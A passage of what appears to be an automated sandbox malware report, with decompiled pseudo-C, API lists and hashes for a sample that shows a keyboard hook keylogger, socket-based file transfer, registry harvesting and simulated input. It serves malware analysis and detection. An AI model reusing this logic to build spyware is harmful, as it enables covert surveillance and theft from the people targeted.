				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __ebp;
				WCHAR* _t35;
				long _t42;
				struct _OVERLAPPED* _t54;
				intOrPtr _t72;
				intOrPtr _t74;
				long _t76;
				void* _t77;
				void* _t78;
				void* _t80;
				void* _t82;
				void* _t83;
				void* _t85;

				_t82 = __eflags;
				E00457600();
				_push(_t77);
				_t74 = __ecx;
				_t69 =  &_a100080;
				asm("xorps xmm0, xmm0");
				_a8 = __ecx;
				_t54 = 0;
				asm("movlpd [esp+0x10], xmm0");
				_a12 = 0;
				E00403262(0,  &_a16, _t77, _t82, E0040915B( &_a40,  &_a100080, _t77, L".part"));
				E00401F09();
				_t78 = CreateFileW(E00401F04( &_a12), 4, 0, 0, 2, 0x80, 0);
				_t83 = _v0 - _a100072;
				if(_t83 > 0) {
					L6:
					CloseHandle(_t78);
					_t35 = E00401F04( &_a100080);
					MoveFileW(E00401F04( &_a16), _t35);
					_t54 = 1;
				} else {
					_t72 = _a100072;
					if(_t83 >= 0) {
						L5:
						if(_v0 < _t72) {
							goto L2;
						} else {
							goto L6;
						}
					} else {
						while(1) {
							L2:
							_t42 = E00404B96(_t74,  &_a64, 0x186a0);
							_t76 = _t42;
							asm("cdq");
							_v12 = _v12 + _t42;
							asm("adc [esp+0x18], edx");
							WriteFile(_t78,  &_a52, _t76,  &_v0, _t54);
							_t80 = _t80 - 0x18;
							E004020B7(_t54, _t80, _t69, _t78, _t83,  &_v12, 8);
							E00404AA1(_v12, _t69, _t83, 0x57, _v12);
							if(_t76 <= 0) {
								break;
							}
							_t74 = _v16;
							_t85 = _v20 - _a100052;
							if(_t85 < 0) {
								continue;
							} else {
								if(_t85 > 0) {
									goto L6;
								} else {
									goto L5;
								}
							}
							goto L7;
						}
						CloseHandle(_t78);
						DeleteFileW(E00401F04( &_v8));
					}
				}
				L7:
				E00401F09();
				E00401F09();
				return _t54;
			}






















                                    0x00407963
                                    0x00407968
                                    0x0040796e
                                    0x00407970
                                    0x00407972
                                    0x0040797a
                                    0x0040797d
                                    0x00407981
                                    0x00407983
                                    0x00407992
                                    0x004079a1
                                    0x004079aa
                                    0x004079cb
                                    0x004079d4
                                    0x004079d8
                                    0x00407a4c
                                    0x00407a4d
                                    0x00407a5a
                                    0x00407a6a
                                    0x00407a70
                                    0x004079da
                                    0x004079da
                                    0x004079e1
                                    0x00407a46
                                    0x00407a4a
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004079e3
                                    0x004079e3
                                    0x004079e3
                                    0x004079f0
                                    0x004079f5
                                    0x004079f7
                                    0x004079f8
                                    0x00407a01
                                    0x00407a0d
                                    0x00407a13
                                    0x00407a1f
                                    0x00407a2a
                                    0x00407a31
                                    0x00000000
                                    0x00000000
                                    0x00407a3a
                                    0x00407a3e
                                    0x00407a42
                                    0x00000000
                                    0x00407a44
                                    0x00407a44
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00407a44
                                    0x00000000
                                    0x00407a42
                                    0x00407a95
                                    0x00407aa5
                                    0x00407aa5
                                    0x004079e1
                                    0x00407a72
                                    0x00407a76
                                    0x00407a82
                                    0x00407a93

                                    APIs
                                    • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,00474EE0,00465FA4,?,00000000,00407FFC,00000000), ref: 004079C5
                                    • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A0D
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    • CloseHandle.KERNEL32(00000000,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A4D
                                    • MoveFileW.KERNEL32(00000000,00000000), ref: 00407A6A
                                    • CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407A95
                                    • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                                      • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                                      • Part of subcall function 00404B96: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                    • String ID: .part
                                    • API String ID: 1303771098-3499674018
                                    • Opcode ID: 1189b07ef882f33b3773bd35292fdd235858624e94cf1382e8dee7f9767278c7
                                    • Instruction ID: d4368667bbe83e807ee7a6daa46dc85a9746f1f4c947c8ea0fa0e6ff0ab070a4
                                    • Opcode Fuzzy Hash: 1189b07ef882f33b3773bd35292fdd235858624e94cf1382e8dee7f9767278c7
                                    • Instruction Fuzzy Hash: 63318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 91%
                                    			E0040A2B8(struct HHOOK__** __ecx) {
				struct tagMSG _v32;
				char _v60;
				void* _v64;
				void* __edi;
				void* __ebp;
				int _t7;
				void* _t8;
				struct HHOOK__* _t14;
				void* _t16;
				void* _t22;
				struct HHOOK__** _t34;
				void* _t36;
				signed int _t37;
				void* _t39;

				_t39 = (_t37 & 0xfffffff8) - 0x38;
				_t34 = __ecx;
				 *0x472b24 = __ecx;
				if( *((intOrPtr*)(__ecx)) != 0) {
					goto L3;
				} else {
					_t14 = SetWindowsHookExA(0xd, E0040A2A4, GetModuleHandleA(0), 0);
					 *_t34 = _t14;
					_t44 = _t14;
					if(_t14 != 0) {
						while(1) {
							L3:
							_t7 = GetMessageA( &_v32, 0, 0, 0);
							__eflags = _t7;
							if(_t7 == 0) {
								break;
							}
							TranslateMessage( &_v32);
							DispatchMessageA( &_v32);
							__eflags =  *_t34;
							if( *_t34 != 0) {
								continue;
							}
							break;
						}
						_t8 = 0;
						__eflags = 0;
					} else {
						_t16 = E0041BAE0(_t22,  &_v60, GetLastError());
						_t40 = _t39 - 0x18;
						E004052FD(_t22, _t39 - 0x18, "Keylogger initialization failure: error ", _t36, _t44, _t16);
						E00402093(_t22, _t40 - 0x14, "Keylogger initialization failure: error ", _t36, "E");
						E0041B441(_t22, 0);
						E00401FD8();
						_t8 = 1;
					}
				}
				return _t8;
			}

















                                    0x0040a2be
                                    0x0040a2c2
                                    0x0040a2c7
                                    0x0040a2cf
                                    0x00000000
                                    0x0040a2d1
                                    0x0040a2e1
                                    0x0040a2e7
                                    0x0040a2e9
                                    0x0040a2eb
                                    0x0040a333
                                    0x0040a333
                                    0x0040a33b
                                    0x0040a341
                                    0x0040a343
                                    0x00000000
                                    0x00000000
                                    0x0040a34a
                                    0x0040a355
                                    0x0040a35b
                                    0x0040a35d
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0040a35d
                                    0x0040a35f
                                    0x0040a35f
                                    0x0040a2ed
                                    0x0040a2f9
                                    0x0040a2fe
                                    0x0040a309
                                    0x0040a318
                                    0x0040a31d
                                    0x0040a329
                                    0x0040a330
                                    0x0040a330
                                    0x0040a2eb
                                    0x0040a366

                                    APIs
                                    • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                                    • SetWindowsHookExA.USER32 ref: 0040A2E1
                                    • GetLastError.KERNEL32 ref: 0040A2ED
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                    • GetMessageA.USER32 ref: 0040A33B
                                    • TranslateMessage.USER32(?), ref: 0040A34A
                                    • DispatchMessageA.USER32 ref: 0040A355
                                    Strings
                                    • Keylogger initialization failure: error , xrefs: 0040A301
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                    • String ID: Keylogger initialization failure: error
                                    • API String ID: 3219506041-952744263
                                    • Opcode ID: 2abec37212d04f00dfb4a3b94ff3fa69f6228bd116d4584fd4d3152934dfccec
                                    • Instruction ID: 6cd3da19ac42f8fe4f395e22782ab0676d892e6a4e6cb38f8e569320f0e08d72
                                    • Opcode Fuzzy Hash: 2abec37212d04f00dfb4a3b94ff3fa69f6228bd116d4584fd4d3152934dfccec
                                    • Instruction Fuzzy Hash: DC118F32614301ABCB107B76DC0A86B76ECEA95756B10457EFC86D21D1EA78C910CBAA
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044AB19 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 69%
                                    			E0044AB19(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x47100c; // 0xbb2d687
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E00446636(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E00434F3B(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E00435D93(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E00448A83(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0);
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E00435D93(_t101);
									goto L36;
								}
								_t62 = E00448A83(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E00435D93(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E00446087(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E004570E0();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E00448A83(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E00446087(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E004570E0();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}


























                                    0x0044ab1e
                                    0x0044ab1f
                                    0x0044ab20
                                    0x0044ab27
                                    0x0044ab2b
                                    0x0044ab2c
                                    0x0044ab32
                                    0x0044ab38
                                    0x0044ab3e
                                    0x0044ab41
                                    0x0044ab41
                                    0x0044ab44
                                    0x0044ab46
                                    0x0044ab46
                                    0x0044ab44
                                    0x0044ab48
                                    0x0044ab4d
                                    0x0044ab54
                                    0x0044ab57
                                    0x0044ab57
                                    0x0044ab73
                                    0x0044ab79
                                    0x0044ab7e
                                    0x0044ad11
                                    0x0044ad24
                                    0x0044ab84
                                    0x0044ab84
                                    0x0044ab87
                                    0x0044ab8c
                                    0x0044ab90
                                    0x0044abe4
                                    0x0044abe4
                                    0x0044abe6
                                    0x0044abe8
                                    0x0044ad06
                                    0x0044ad06
                                    0x0044ad08
                                    0x0044ad09
                                    0x00000000
                                    0x0044ad0f
                                    0x0044abf9
                                    0x0044abff
                                    0x0044ac01
                                    0x00000000
                                    0x00000000
                                    0x0044ac07
                                    0x0044ac19
                                    0x0044ac1e
                                    0x0044ac22
                                    0x00000000
                                    0x00000000
                                    0x0044ac2f
                                    0x0044ac69
                                    0x0044ac6c
                                    0x0044ac6f
                                    0x0044ac71
                                    0x0044ac73
                                    0x0044ac75
                                    0x0044acc1
                                    0x0044acc1
                                    0x0044acc3
                                    0x0044acc3
                                    0x0044acc5
                                    0x0044acff
                                    0x0044ad00
                                    0x00000000
                                    0x0044ad05
                                    0x0044acd9
                                    0x0044acde
                                    0x0044ace0
                                    0x00000000
                                    0x00000000
                                    0x0044ace4
                                    0x0044ace5
                                    0x0044ace6
                                    0x0044ace9
                                    0x0044ad25
                                    0x0044ad28
                                    0x0044aceb
                                    0x0044aceb
                                    0x0044acec
                                    0x0044acec
                                    0x0044acf9
                                    0x0044acfb
                                    0x0044acfd
                                    0x0044ad2e
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044acfd
                                    0x0044ac77
                                    0x0044ac7a
                                    0x0044ac7c
                                    0x0044ac7e
                                    0x0044ac80
                                    0x0044ac83
                                    0x0044ac88
                                    0x0044aca3
                                    0x0044aca5
                                    0x0044acaf
                                    0x0044acb1
                                    0x0044acb2
                                    0x0044acb4
                                    0x00000000
                                    0x00000000
                                    0x0044acb6
                                    0x0044acbc
                                    0x0044acbc
                                    0x00000000
                                    0x0044acbc
                                    0x0044ac8a
                                    0x0044ac8c
                                    0x0044ac90
                                    0x0044ac95
                                    0x0044ac97
                                    0x0044ac99
                                    0x00000000
                                    0x00000000
                                    0x0044ac9b
                                    0x00000000
                                    0x0044ac9b
                                    0x0044ac31
                                    0x0044ac36
                                    0x00000000
                                    0x00000000
                                    0x0044ac3c
                                    0x0044ac3e
                                    0x00000000
                                    0x00000000
                                    0x0044ac55
                                    0x0044ac5a
                                    0x0044ac5e
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044ac64
                                    0x0044ab97
                                    0x0044ab99
                                    0x0044ab9b
                                    0x0044aba3
                                    0x0044abc2
                                    0x0044abc4
                                    0x0044abce
                                    0x0044abd0
                                    0x0044abd1
                                    0x0044abd3
                                    0x00000000
                                    0x00000000
                                    0x0044abd9
                                    0x0044abdf
                                    0x0044abdf
                                    0x00000000
                                    0x0044abdf
                                    0x0044aba7
                                    0x0044abab
                                    0x0044abb0
                                    0x0044abb4
                                    0x00000000
                                    0x00000000
                                    0x0044abba
                                    0x00000000
                                    0x0044abba

                                    APIs
                                    • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DC53,?,?,?,0044AD6A,00000001,00000001,?), ref: 0044AB73
                                    • __alloca_probe_16.LIBCMT ref: 0044ABAB
                                    • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DC53,?,?,?,0044AD6A,00000001,00000001,?), ref: 0044ABF9
                                    • __alloca_probe_16.LIBCMT ref: 0044AC90
                                    • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044ACF3
                                    • __freea.LIBCMT ref: 0044AD00
                                      • Part of subcall function 00446087: HeapAlloc.KERNEL32(00000000,004351EF,?,?,00438797,?,?,00000000,?,?,0040DDB0,004351EF,?,?,?,?), ref: 004460B9
                                    • __freea.LIBCMT ref: 0044AD09
                                    • __freea.LIBCMT ref: 0044AD2E
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocHeap
                                    • String ID:
                                    • API String ID: 2597970681-0
                                    • Opcode ID: 7d683781b2dd792c8ae14ef5007877638cb2880d622bc3fa92b70de851f219b5
                                    • Instruction ID: 8ffb52f8a7f9c2e2e66e0a725aeab773d931a82b70821fbb00aebb4c94968761
                                    • Opcode Fuzzy Hash: 7d683781b2dd792c8ae14ef5007877638cb2880d622bc3fa92b70de851f219b5
                                    • Instruction Fuzzy Hash: 27511872A40206AFFB258F64DC81EAF77AADB44754F15422EFD04D6280EB38DC50C699
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004198E5 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                                    Download Yara Rule
                                    APIs
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 0041991E
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 0041993F
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 0041995F
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419973
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419989
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 004199A6
                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 004199C1
                                    • SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 004199DD
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: InputSend
                                    • String ID:
                                    • API String ID: 3431551938-0
                                    • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                    • Instruction ID: ad92a73f7f98b15d6661f287167c57a45d2c96e920eb5cfe6c4489f401945401
                                    • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                                    • Instruction Fuzzy Hash: BC3176715583096EE311CF51DD41FEBBBDCEF98754F00080FF58096291D2A699C98B97
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004139A3 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 89%
                                    			E004139A3(void* __ecx, short* __edx) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				char _v56;
				int _v60;
				int _v64;
				int _v68;
				int _v72;
				int _v76;
				struct _FILETIME _v84;
				void* _v95;
				char _v96;
				char _v108;
				char _v132;
				char _v156;
				short _v668;
				short _v1188;
				char _v11188;
				short _v43956;
				void* __ebx;
				void* __edi;
				void* __ebp;
				int _t72;
				long _t73;
				void* _t93;
				long _t103;
				void* _t104;
				void* _t110;
				void* _t140;
				int _t144;
				int _t146;
				void* _t147;
				void* _t148;
				void* _t149;

				_t137 = __edx;
				_t112 = __ecx;
				E00457600();
				_push(_t140);
				_t144 = 0;
				_t110 = __ecx;
				E00436DE0(_t140,  &_v1188, 0, 0x208);
				_t149 = _t148 + 0xc;
				_v24 = 0x104;
				_v8 = 0;
				_v12 = 0x3fff;
				RegQueryInfoKeyW(_t110,  &_v1188,  &_v24, 0,  &_v8,  &_v76,  &_v72,  &_v20,  &_v68,  &_v64,  &_v60,  &_v84);
				_t72 = _v8;
				if(_t72 != 0 && _t72 != 0) {
					do {
						_v28 = 0xff;
						_t103 = RegEnumKeyExW(_t110, _t144,  &_v668,  &_v28, 0, 0, 0,  &_v84);
						_t152 = _t103;
						if(_t103 == 0) {
							_t104 = E0040417E(_t110,  &_v56, _t137, _t147, "\n");
							_t137 =  &_v668;
							E0040325D(E004042FC(_t110,  &_v108,  &_v668, _t147, _t152, _t104));
							E00401F09();
							_t112 =  &_v56;
							E00401F09();
						}
						_t144 = _t144 + 1;
					} while (_t144 < _v8);
				}
				_t73 = _v20;
				if(_t73 != 0) {
					_t146 = 0;
					if(_t73 != 0) {
						do {
							_v96 = 0;
							_v16 = 0x2710;
							asm("stosd");
							_v12 = 0x3fff;
							asm("stosd");
							asm("stosw");
							asm("stosb");
							_v43956 = 0;
							_t73 = RegEnumValueW(_t110, _t146,  &_v43956,  &_v12, 0,  &_v32,  &_v11188,  &_v16);
							_t156 = _t73;
							if(_t73 == 0) {
								E00441DD1(_t112, _v32,  &_v96, 0xa);
								_t149 = _t149 + 0xc;
								E0040325D(E004042FC(_t110,  &_v56,  &_v43956, _t147, _t156, E0040417E(_t110,  &_v132, _t137, _t147, "\n")));
								E00401F09();
								E00401F09();
								L00403376(E004052FD(_t110,  &_v132,  &_v96, _t147, _t156, E00402093(_t110,  &_v56,  &_v43956, _t147, 0x4660c0)));
								E00401FD8();
								E00401FD8();
								_t93 = E00402093(_t110,  &_v156,  &_v96, _t147, "[regsplt]");
								_t137 = E004020B7(_t110,  &_v56,  &_v96, _t147, _t156,  &_v11188, _v16);
								L00403376(E00402EA1( &_v132, _t95, _t93));
								E00401FD8();
								E00401FD8();
								_t112 =  &_v156;
								_t73 = E00401FD8();
							}
							_t146 = _t146 + 1;
						} while (_t146 < _v20);
					}
				}
				return _t73;
			}









































                                    0x004139a3
                                    0x004139a3
                                    0x004139ab
                                    0x004139b2
                                    0x004139b8
                                    0x004139c2
                                    0x004139c4
                                    0x004139c9
                                    0x004139cc
                                    0x004139d6
                                    0x004139d9
                                    0x00413a0a
                                    0x00413a10
                                    0x00413a15
                                    0x00413a1b
                                    0x00413a1e
                                    0x00413a39
                                    0x00413a3f
                                    0x00413a41
                                    0x00413a4b
                                    0x00413a51
                                    0x00413a66
                                    0x00413a6e
                                    0x00413a73
                                    0x00413a76
                                    0x00413a76
                                    0x00413a7b
                                    0x00413a7c
                                    0x00413a1b
                                    0x00413a81
                                    0x00413a86
                                    0x00413a8c
                                    0x00413a90
                                    0x00413a96
                                    0x00413a98
                                    0x00413a9f
                                    0x00413aa6
                                    0x00413aa7
                                    0x00413aae
                                    0x00413aaf
                                    0x00413ab1
                                    0x00413ab4
                                    0x00413ad9
                                    0x00413adf
                                    0x00413ae1
                                    0x00413af0
                                    0x00413af5
                                    0x00413b1b
                                    0x00413b23
                                    0x00413b2b
                                    0x00413b50
                                    0x00413b58
                                    0x00413b60
                                    0x00413b70
                                    0x00413b88
                                    0x00413b99
                                    0x00413ba1
                                    0x00413ba9
                                    0x00413bae
                                    0x00413bb4
                                    0x00413bb4
                                    0x00413bb9
                                    0x00413bba
                                    0x00413a96
                                    0x00413a90
                                    0x00413bc9

                                    APIs
                                    • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413A0A
                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413A39
                                    • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 00413AD9
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Enum$InfoQueryValue
                                    • String ID: [regsplt]$xUG$TG
                                    • API String ID: 3554306468-1165877943
                                    • Opcode ID: 47e5b0be9f95118bd32adf88b0719c6957a27daa54d01836af68319ef3994810
                                    • Instruction ID: d0c08c6d4d2b77f93bea44a5acb5664d1be63a2634b8f4a9014a81d1b63847a9
                                    • Opcode Fuzzy Hash: 47e5b0be9f95118bd32adf88b0719c6957a27daa54d01836af68319ef3994810
                                    • Instruction Fuzzy Hash: 1A513C71900219AADB11EBA5DC85EEFB77DAF04309F10407BF505B2191EF786B48CBA9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044B28C Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 73%
                                    			E0044B28C(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x47100c; // 0xbb2d687
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x472810 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x472810 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00445AA0(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x472810 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x472810 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x472810 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E00449CF2( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E00449CF2();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
